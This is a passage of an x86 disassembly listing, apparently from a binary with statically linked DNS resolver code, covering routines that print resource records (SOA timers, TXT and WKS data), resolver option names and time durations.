loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FCD0, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4 dd offset loc_805FE64, offset loc_805FE98, offset loc_805FE98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FA7C: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o cmp ebx, 1 ; case 0x0 jz short loc_805FA86 cmp ebx, 4 jnz short loc_805FAF8 loc_805FA86: ; CODE XREF: sub_805F7E4+29Bj push 4 lea eax, [ebp+var_4] push eax push esi call bcopy add esp, 0Ch cmp [ebp+var_C], 4 jnz short loc_805FAB0 mov eax, [ebp+var_4] push eax call inet_ntoa push eax push offset aS_1 ; "\t%s" jmp loc_805FEAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FAB0: ; CODE XREF: sub_805F7E4+2B5j cmp [ebp+var_C], 7 jnz loc_805FFB9 mov eax, [ebp+var_4] push eax call inet_ntoa mov [ebp+var_24], eax add esi, 4 mov bl, [esi] inc esi push esi call sub_804D6B8 add esi, 2 and eax, 0FFFFh push eax movzx eax, bl push eax mov ecx, [ebp+var_24] push ecx push offset aSProtoDPortD ; "\t%s\t; proto %d, port %d" push edi call _IO_fprintf add esp, 1Ch jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FAF8: ; CODE XREF: sub_805F7E4+2A0j add esi, [ebp+var_C] jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FB00: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0x1 cmp [edi+18h], eax ja short loc_805FB10 push 9 jmp loc_805FE2F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FB10: ; CODE XREF: sub_805F7E4+322j mov eax, [edi+14h] mov byte ptr [eax], 9 jmp loc_805FE42 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FB1C: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov ecx, [ebp+var_C] ; case 0xc add ecx, esi mov [ebp+var_18], ecx movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_805FB3E push esi push ebx push offset a_S ; "\t%.*s" push edi call _IO_fprintf add esi, ebx add esp, 10h loc_805FB3E: ; CODE XREF: sub_805F7E4+346j cmp [ebp+var_18], esi jbe short loc_805FB64 movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_805FB64 push esi push ebx push offset a_S ; "\t%.*s" push edi call _IO_fprintf add esi, ebx add esp, 10h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FB64: ; CODE XREF: sub_805F7E4+35Dj ; sub_805F7E4+365j cmp [ebp+var_8], 0Dh jnz loc_805FFB9 push offset aWarningOsTypeM ; "\n;; *** Warning *** OS-type missing" push edi call _IO_fprintf add esp, 8 jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FB84: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0x5 cmp [edi+18h], eax ja short loc_805FB9C push 9 push edi call sub_8061910 add esp, 8 jmp short loc_805FBA5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FB9C: ; CODE XREF: sub_805F7E4+3A6j mov eax, [edi+14h] mov byte ptr [eax], 9 inc dword ptr [edi+14h] loc_805FBA5: ; CODE XREF: sub_805F7E4+3B3j push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz loc_805F810 mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FBD4 push 20h push edi call sub_8061910 add esp, 8 jmp short loc_805FBDD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FBD4: ; CODE XREF: sub_805F7E4+3DFj mov eax, [edi+14h] mov byte ptr [eax], 20h inc dword ptr [edi+14h] loc_805FBDD: ; CODE XREF: sub_805F7E4+3ECj push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz loc_805F810 push edi push offset asc_8069767 ; " (\n" call _IO_fputs push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx push offset aLuSerial ; "\t\t\t%lu\t; serial\n" push edi call _IO_fprintf push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuRefreshS ; "\t\t\t%lu\t; refresh (%s)\n" push edi call _IO_fprintf add esp, 30h push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuRetryS ; "\t\t\t%lu\t; retry (%s)\n" push edi call _IO_fprintf push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuExpireS ; "\t\t\t%lu\t; expire (%s)\n" push edi call _IO_fprintf add esp, 30h push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuMinimumS ; "\t\t\t%lu )\t; minimum (%s)" push edi call _IO_fprintf add esp, 18h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FCA0: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push esi ; case 0xe call sub_804D6B8 and eax, 0FFFFh push eax push offset aD_1 ; "\t%d " push edi call _IO_fprintf add esi, 2 push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 1Ch jmp loc_805FE55 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FCD0: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push esi ; case 0x19 call sub_804D6B8 and eax, 0FFFFh push eax push offset aD_1 ; "\t%d " push edi call _IO_fprintf add esi, 2 push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 1Ch test esi, esi jz loc_805F810 mov eax, [edi+14h] cmp [edi+18h], eax jbe loc_805FE2D jmp loc_805FE3C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FD14: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push edi ; case 0xf push offset asc_80697DB ; "\t\"" call _IO_fputs mov ecx, [ebp+var_14] add ecx, [ebp+var_C] mov [ebp+var_18], ecx add esp, 8 cmp esi, ecx jnb short loc_805FDA9 nop loc_805FD30: ; CODE XREF: sub_805F7E4+5C3j movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_805FDA4 mov [ebp+var_10], ebx jle short loc_805FDA4 lea esi, [esi+0] loc_805FD40: ; CODE XREF: sub_805F7E4+5BEj cmp [ebp+var_18], esi jbe short loc_805FDA9 cmp byte ptr [esi], 0Ah jz short loc_805FD4F cmp byte ptr [esi], 22h jnz short loc_805FD78 loc_805FD4F: ; CODE XREF: sub_805F7E4+564j mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FD64 push 5Ch push edi call sub_8061910 add esp, 8 jmp short loc_805FD6D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FD64: ; CODE XREF: sub_805F7E4+571j mov eax, [edi+14h] mov byte ptr [eax], 5Ch inc dword ptr [edi+14h] loc_805FD6D: ; CODE XREF: sub_805F7E4+57Ej mov eax, [edi+14h] cmp [edi+18h], eax jbe short loc_805FD80 jmp short loc_805FD90 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FD78: ; CODE XREF: sub_805F7E4+569j mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FD90 loc_805FD80: ; CODE XREF: sub_805F7E4+58Fj movzx eax, byte ptr [esi] push eax inc esi push edi call sub_8061910 add esp, 8 jmp short loc_805FD9B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FD90: ; CODE XREF: sub_805F7E4+591j ; sub_805F7E4+59Aj mov edx, [edi+14h] mov al, [esi] mov [edx], al inc esi inc dword ptr [edi+14h] loc_805FD9B: ; CODE XREF: sub_805F7E4+5AAj dec [ebp+var_10] cmp [ebp+var_10], 0 jg short loc_805FD40 loc_805FDA4: ; CODE XREF: sub_805F7E4+552j ; sub_805F7E4+557j cmp [ebp+var_18], esi ja short loc_805FD30 loc_805FDA9: ; CODE XREF: sub_805F7E4+549j ; sub_805F7E4+55Fj mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FDB8 push 22h jmp loc_805FF8A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FDB8: ; CODE XREF: sub_805F7E4+5CBj mov eax, [edi+14h] mov byte ptr [eax], 22h inc dword ptr [edi+14h] jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FDC8: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push 0 ; case 0x15 push esi mov ecx, [ebp+var_C] push ecx call inet_nsap_ntoa push eax push offset aS_1 ; "\t%s" push edi call _IO_fprintf add esi, [ebp+var_C] add esp, 18h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FDEC: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0xd cmp [edi+18h], eax ja short loc_805FE04 push 9 push edi call sub_8061910 add esp, 8 jmp short loc_805FE0D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FE04: ; CODE XREF: sub_805F7E4+60Ej mov eax, [edi+14h] mov byte ptr [eax], 9 inc dword ptr [edi+14h] loc_805FE0D: ; CODE XREF: sub_805F7E4+61Bj push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz loc_805F810 mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FE3C loc_805FE2D: ; CODE XREF: sub_805F7E4+524j push 20h loc_805FE2F: ; CODE XREF: sub_805F7E4+326j push edi call sub_8061910 add esp, 8 jmp short loc_805FE45 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FE3C: ; CODE XREF: sub_805F7E4+52Aj ; sub_805F7E4+647j mov eax, [edi+14h] mov byte ptr [eax], 20h loc_805FE42: ; CODE XREF: sub_805F7E4+332j inc dword ptr [edi+14h] loc_805FE45: ; CODE XREF: sub_805F7E4+654j push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch loc_805FE55: ; CODE XREF: sub_805F7E4+4E6j test esi, esi jnz loc_805FFB9 jmp loc_805F810 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FE64: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0x63 cmp [edi+18h], eax ja short loc_805FE7C push 9 push edi call sub_8061910 add esp, 8 jmp short loc_805FE85 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FE7C: ; CODE XREF: sub_805F7E4+686j mov eax, [edi+14h] mov byte ptr [eax], 9 inc dword ptr [edi+14h] loc_805FE85: ; CODE XREF: sub_805F7E4+693j push edi push esi call _IO_fputs add esi, [ebp+var_C] add esp, 8 jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FE98: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o cmp [ebp+var_C], 4 ; case 0x64 jnz loc_805FFB9 push esi call sub_804D6D4 push eax push offset aU ; "\t%u" loc_805FEAE: ; CODE XREF: sub_805F7E4+2C6j push edi call _IO_fprintf add esi, 4 add esp, 10h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FEC0: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o cmp [ebp+var_C], 4 ; case 0xa jle loc_805FFB9 push 4 lea eax, [ebp+var_4] push eax push esi call bcopy add esi, 4 movzx eax, byte ptr [esi] push eax call sub_805EEA4 push eax mov eax, [ebp+var_4] push eax call inet_ntoa add esp, 4 push eax push offset aSS ; "\t%s %s ( " push edi call _IO_fprintf inc esi xor ebx, ebx mov [ebp+var_20], 0 add esp, 20h jmp short loc_805FF76 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FF0C: ; CODE XREF: sub_805F7E4+79Aj movzx ecx, byte ptr [esi] mov [ebp+var_10], ecx inc esi nop loc_805FF14: ; CODE XREF: sub_805F7E4+790j cmp byte ptr [ebp+var_10], 0 jge short loc_805FF6C cmp [ebp+var_20], 0 jnz short loc_805FF35 push edi push offset asc_80697EC ; "\n\t\t\t" call _IO_fputs mov [ebp+var_20], 5 add esp, 8 loc_805FF35: ; CODE XREF: sub_805F7E4+73Aj push edi push ebx call sub_805E9B8 add esp, 4 push eax call _IO_fputs add esp, 8 mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FF60 push 20h push edi call sub_8061910 add esp, 8 jmp short loc_805FF69 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FF60: ; CODE XREF: sub_805F7E4+76Aj mov eax, [edi+14h] mov byte ptr [eax], 20h inc dword ptr [edi+14h] loc_805FF69: ; CODE XREF: sub_805F7E4+777j dec [ebp+var_20] loc_805FF6C: ; CODE XREF: sub_805F7E4+734j shl [ebp+var_10], 1 inc ebx test bl, 7 jnz short loc_805FF14 loc_805FF76: ; CODE XREF: sub_805F7E4+724j mov eax, [ebp+var_14] add eax, [ebp+var_C] cmp esi, eax jb short loc_805FF0C mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FF98 push 29h loc_805FF8A: ; CODE XREF: sub_805F7E4+5CFj push edi call sub_8061910 add esp, 8 jmp short loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FF98: ; CODE XREF: sub_805F7E4+7A2j mov eax, [edi+14h] mov byte ptr [eax], 29h inc dword ptr [edi+14h] jmp short loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FFA4: ; CODE XREF: sub_805F7E4+F2j ; sub_805F7E4+F8j ; DATA XREF: ... mov ecx, [ebp+var_8] ; default push ecx push offset a?D? ; "\t?%d?" push edi call _IO_fprintf add esi, [ebp+var_C] add esp, 0Ch loc_805FFB9: ; CODE XREF: sub_805F7E4+2D0j ; sub_805F7E4+30Dj ... mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FFD0 push 0Ah push edi call sub_8061910 add esp, 8 jmp short loc_805FFD9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FFD0: ; CODE XREF: sub_805F7E4+7DBj mov eax, [edi+14h] mov byte ptr [eax], 0Ah inc dword ptr [edi+14h] loc_805FFD9: ; CODE XREF: sub_805F7E4+7E8j mov eax, esi sub eax, [ebp+var_14] cmp [ebp+var_C], eax jz short loc_805FFF5 mov ecx, [ebp+var_C] push ecx push eax push offset aPacketSizeErro ; ";; packet size error (found %d, dlen wa"... push edi call _IO_fprintf xor esi, esi loc_805FFF5: ; CODE XREF: sub_805F7E4+7FDj mov eax, esi loc_805FFF7: ; CODE XREF: sub_805F7E4+2Ej lea esp, [ebp+var_30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F7E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000005C9 BYTES: COLLAPSED FUNCTION __p_type. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80605D0 proc near ; CODE XREF: sub_805F1DC+385p ; sub_805F7E4+BFp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 4 jz short loc_80605FC jg short loc_80605E4 cmp eax, 1 jz short loc_80605F0 jmp short loc_8060614 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80605E4: ; CODE XREF: sub_80605D0+Bj cmp eax, 0FFh jz short loc_8060608 jmp short loc_8060614 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80605F0: ; CODE XREF: sub_80605D0+10j mov eax, offset aIn ; "IN" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80605FC: ; CODE XREF: sub_80605D0+9j mov eax, offset aHs ; "HS" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060608: ; CODE XREF: sub_80605D0+19j mov eax, offset aAny ; "ANY" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060614: ; CODE XREF: sub_80605D0+12j ; sub_80605D0+1Bj push eax push offset aD_0 ; "%d" push offset unk_807E3EC call sprintf mov eax, offset unk_807E3EC mov esp, ebp pop ebp retn sub_80605D0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8060630 proc near ; CODE XREF: __fp_resstat+2Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 20h jz loc_806070C ja short loc_8060678 cmp eax, 4 jz loc_80606E8 ja short loc_8060660 cmp eax, 1 jz short loc_80606D0 cmp eax, 2 jz loc_80606DC jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060660: ; CODE XREF: sub_8060630+1Aj cmp eax, 8 jz loc_80606F4 cmp eax, 10h jz loc_8060700 jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060678: ; CODE XREF: sub_8060630+Fj cmp eax, 100h jz loc_8060730 ja short loc_80606A0 cmp eax, 40h jz loc_8060718 cmp eax, 80h jz loc_8060724 jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80606A0: ; CODE XREF: sub_8060630+53j cmp eax, 400h jz loc_8060748 ja short loc_80606C0 cmp eax, 200h jz loc_806073C jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80606C0: ; CODE XREF: sub_8060630+7Bj cmp eax, 800h jz loc_8060754 jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80606D0: ; CODE XREF: sub_8060630+1Fj mov eax, offset aInit ; "init" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80606DC: ; CODE XREF: sub_8060630+24j mov eax, offset aDebug_1 ; "debug" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80606E8: ; CODE XREF: sub_8060630+14j mov eax, offset aAaonlyUnimpl ; "aaonly(unimpl)" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80606F4: ; CODE XREF: sub_8060630+33j mov eax, offset aUsevc ; "usevc" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060700: ; CODE XREF: sub_8060630+3Cj mov eax, offset aPrimryUnimpl ; "primry(unimpl)" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806070C: ; CODE XREF: sub_8060630+9j mov eax, offset aIgntc ; "igntc" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060718: ; CODE XREF: sub_8060630+58j mov eax, offset aRecurs ; "recurs" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060724: ; CODE XREF: sub_8060630+63j mov eax, offset aDefnam ; "defnam" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060730: ; CODE XREF: sub_8060630+4Dj mov eax, offset aStyopn ; "styopn" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806073C: ; CODE XREF: sub_8060630+82j mov eax, offset aDnsrch ; "dnsrch" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060748: ; CODE XREF: sub_8060630+75j mov eax, offset aInsecure1 ; "insecure1" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060754: ; CODE XREF: sub_8060630+95j mov eax, offset aInsecure2 ; "insecure2" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060760: ; CODE XREF: sub_8060630+2Aj ; sub_8060630+42j ... push eax push offset a?0xLx? ; "?0x%lx?" push offset unk_807E400 call sprintf mov eax, offset unk_807E400 mov esp, ebp pop ebp retn sub_8060630 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806077C proc near ; CODE XREF: sub_805F7E4+43Fp ; sub_805F7E4+460p ... var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov eax, [ebp+arg_0] test eax, eax jnz short loc_80607B4 mov eax, ds:dword_806992F mov ds:dword_807E428, eax mov ax, ds:word_8069933 mov ds:word_807E42C, ax mov al, ds:byte_8069935 mov ds:byte_807E42E, al jmp loc_80608B8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80607B4: ; CODE XREF: sub_806077C+Ej mov ecx, 3Ch xor edx, edx div ecx mov [ebp+var_4], edx xor edx, edx div ecx mov [ebp+var_8], edx mov ecx, 18h xor edx, edx div ecx mov edi, edx mov esi, eax mov ebx, offset dword_807E428 test esi, esi jz short loc_8060802 mov eax, offset unk_8069937 cmp esi, 1 jnz short loc_80607EC mov eax, offset unk_8069936 loc_80607EC: ; CODE XREF: sub_806077C+69j push eax push esi push offset aDDayS ; "%d day%s" push ebx call sprintf add esp, 10h loc_80607FC: ; CODE XREF: sub_806077C+84j inc ebx cmp byte ptr [ebx], 0 jnz short loc_80607FC loc_8060802: ; CODE XREF: sub_806077C+5Fj test edi, edi jz short loc_8060836 test esi, esi 